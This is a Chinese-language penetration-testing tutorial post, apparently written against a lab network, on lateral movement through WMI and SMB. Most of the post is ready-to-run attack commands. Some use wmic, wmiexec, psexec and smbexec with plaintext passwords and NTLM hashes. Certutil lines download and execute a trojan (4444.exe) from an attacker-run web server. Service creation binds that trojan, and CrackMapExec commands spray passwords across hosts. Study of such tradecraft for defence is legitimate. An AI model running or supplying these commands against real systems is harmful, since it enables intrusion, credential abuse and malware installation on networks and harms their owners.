WMI

什么是WMI?

WMI是通过135端口进行利用,支持用户名明文或hash的方式进行认证,在使用WMIC执行命令过程中,操作系统默认不会将WMIC的操作记录在日志中,因此在利用过程中不会产生日志。所以越来越多的攻击者开始渐渐使用WMI进行攻击。
WMI的利用条件

  1. 获得目标机器的用户名和密码
  2. 开放139、445端口

WMIC的使用需要对方开启135端口(有的工具需要445端口)和admin$共享,135端口是WMI默认的管理端口

WMI利用手法

WMI演示环境如下图:

WMIC

系统自带的WMIC命令是单执行,无回显的,并且只支持明文密码,不支持hash进行传递
在这里,我们对SQLserver执行了一个ipconfig的命令,并将结果保存在C盘的ip.txt文件中:

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c ipconfig > c:\ip.txt


可以看到我们并无法直接看到命令的回显,但我们上帝视角切到靶机发现确实是执行命令了的 。

这里如果在实战中,如果想要查看文件内容和文件是否上传成功的话,就要使用上篇文章内网移动-IPC中的type和dir命令

dir \\192.168.3.32\c$ #列出该主机的C盘下的文件
type \\192.168.3.32\c$\ip.txt 



这里将其上线CS的步骤也是:使用下载命令让其下载Web Server中的木马,执行上线

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe c:/4444.exe"  #下载Webserver中的木马文件到自己的C盘

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c c:/4444.exe" # 执行木马


可以看到此时sqlserver成功被上线。

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs,交互式,适合在反弹shell或msfconsole中使用,不适合CS控制
首先我们将其上传到跳板机中,然后再使用命令去连接,由于CS无法返回shell的问题,所以该脚本并不适用于在CS中运行,所以这里我选择将会话转移到MSF中去运行。

cscript //nologo wmiexec.vbs /shell 192.168.3.32 administrator admin!@#45


可以看到在MSF中运行了该文件后,成功将sqlserver的shell反弹了过来,在此我们可以直接让其下载后门并执行,上线到我们的CS中。

cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe c:/4444.exe & C:/4444.exe


可以看到SQLserver成功上线CS

wmiexec-impacket

impacket套件中的wmiexec同样可对WMI进行横向移动,并且支持交互式与单执行,支持hash进行传递,相对来说更为方便,这里直接使用它的py脚本配合socket代理就可以对其内网进行横向移动,避免了上传文件等敏感操作。
首先设置好Socket代理,与proxifier的代理与代理规则



配置好socket代理与规则后,就可直接在本机中调用wmiexec.py文件对其内网进行wmi利用

python wmiexec.py ./administrator:Admin12345@192.168.3.21 # 通过明文密码连接获得目标本地用户交互式shell
python wmiexec.py god/administrator:Admin12345@192.168.3.21 # 通过明文密码连接获得目标域用户交互式shell



通过该命令成功获得一个交互式的shell,那么wmiexec.py也可单执行命令。

python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"  # 以明文密码连接本地用户并执行命令

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami" # 以hash密码连接本地用户并执行命令


这里将目标上线CS的方式和上面一致,通过命令下载木马并执行。

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe c:/4444.exe & C:/4444.exe"


SMB

什么是SMB?

SMB(Server Message Block)服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB协议也被称为请求-回复协议。
客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件
SMB的利用条件

  1. 利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
  2. 获得该目标的账号名与密码或hash

    SMB利用手法

    SMB演示环境如下图:

    PsExec

    官方Psexec

    Psexec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。后来因为太过方便,被利用到内网渗透之中。
    下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools,但不支持hash传递,且CS无法利用,而且该工具好像只能在具有桌面权限后才可进行利用,我这里使用msf和反弹shell都无法成功反弹shell....
    这里将psexec.64上传到跳板机中

    然后在跳板机桌面中运行该工具,就会反弹出目标机器的shell,如下图所示。

    psexec64.exe \\192.168.3.32 -u administrator -p admin!@#45 -s cmd

    Impacket-PsExec

    还有一个psexec就是我们的impacket套件中的工具,官方psexec有诸多限制,如不支持hash、cs、msf无法利用成功等问题,所以这里选择使用impacket中的psexec工具就相对来说比较灵活,同样,为了避免发送上传文件时数据丢失或被查杀等问题,我们可使用socket+psexec.py对其内网进行横向移动。
    socket配置此处不再描述,这里直接使用impacket-Psexec.py进行利用

    psexec.py ./administrator:admin!@#45@192.168.3.32 # 通过明文密码连接获得目标本地用户交互式shell
    psexec.py god/administrator:Admin12345@192.168.3.21 # 通过明文密码连接获得目标域用户交互式shell


    python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 # 通过哈希密码连接获得目标本地用户交互式shell
    python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 # 通过哈希密码连接获得目标域用户交互式shell


    CS插件-psexec

    在我们的CS中其实也有PSEXEC利用功能,且利用较为方便与简单,在targets中选中目标右键即可弹出利用选项,且支持hash的移动

    点击psexec64后,就会让我们选择用户名密码与所登录域等,这里我们直接选择之前我们在跳板机中所收集的密码,Domain置空的话为本地用户登录,输入域名后则为域用户登录,选择监听器和会话之后,点击Launch即可。


这里看到Sqlserver成功上线,这里如果想以域用户的身份登录时,Domain处输入域名即为域用户身份登录。

较为简单,这里不做过多讲解。

smbexec-impacket

在impacket中smbexec工具也可以进行移动,该工具利用方式和psexec利用方式相同,这里简单介绍一下即可

python smbexec.py ./administrator:admin!@#45@192.168.3.32 # 通过明文密码连接获得目标本地用户交互式shell
python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 #通过哈希密码连接获得目标域用户交互式shell


Services

同时还有一个系统自带的服务也可进行利用,该服务支持哈希密码传递,且为单执行无回显,无法交互shell。
具体利用过程如下:
首先建立SMB连接后,创建一个服务,服务绑定木马,然后在启动该服务,即可上线到CS中

services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\4444.exe # 建立SMB连接并创建服务绑定木马
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell # 启动shell服务

CrackMapExec

在内网渗透中,能获取到主机管理员账号密码,将会使我们横向事半功倍,尤其是在大内网环境中,密码复用率很高,一波喷洒,能助力你拿到一波主机,对拿到的主机再次抓取密码,再用新拿到的密码喷洒一波......,如此反复。密码喷洒的思路就是这样:不断收集内网账号密码,不断去喷洒。这时我们就需要类似CrackMapExec这样的密码喷洒工具,对其内网进行密码喷洒。
CrackMapExec下载地址:https://github.com/Porchetta-Industries/CrackMapExec
同样的,CrackMapExec支持本地、域内和明文密文的fuzz,具体利用命令如下:
域用户明文密码喷洒:

proxychains crackmapexec smb 192.168.3.21-32 -u dbadmin -p 'Admin12345'


本地用户明文密码喷洒:

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth


域内用户hash密码喷洒

proxychains crackmapexec smb 192.168.3.32 -u dbadmin -H '518b98ad4178a53695dc997aa02d455c'


本地用户hash密码喷洒

proxychains crackmapexec smb 192.168.3.32 -u administrator -H '518b98ad4178a53695dc997aa02d455c' --local-auth


执行命令也是非常的简单,这里直接在上面命令后加上-x 'bash' 即可

proxychains crackmapexec smb 192.168.3.32 -u administrator -H '518b98ad4178a53695dc997aa02d455c' --local-auth -x 'whoami'


当然这里也可以通过已经喷洒出的主机和密码配合CS中的psexec上线到CS中。此处就不再演示。

最后修改:2023 年 04 月 27 日
如果觉得我的文章对你有用,请随意赞赏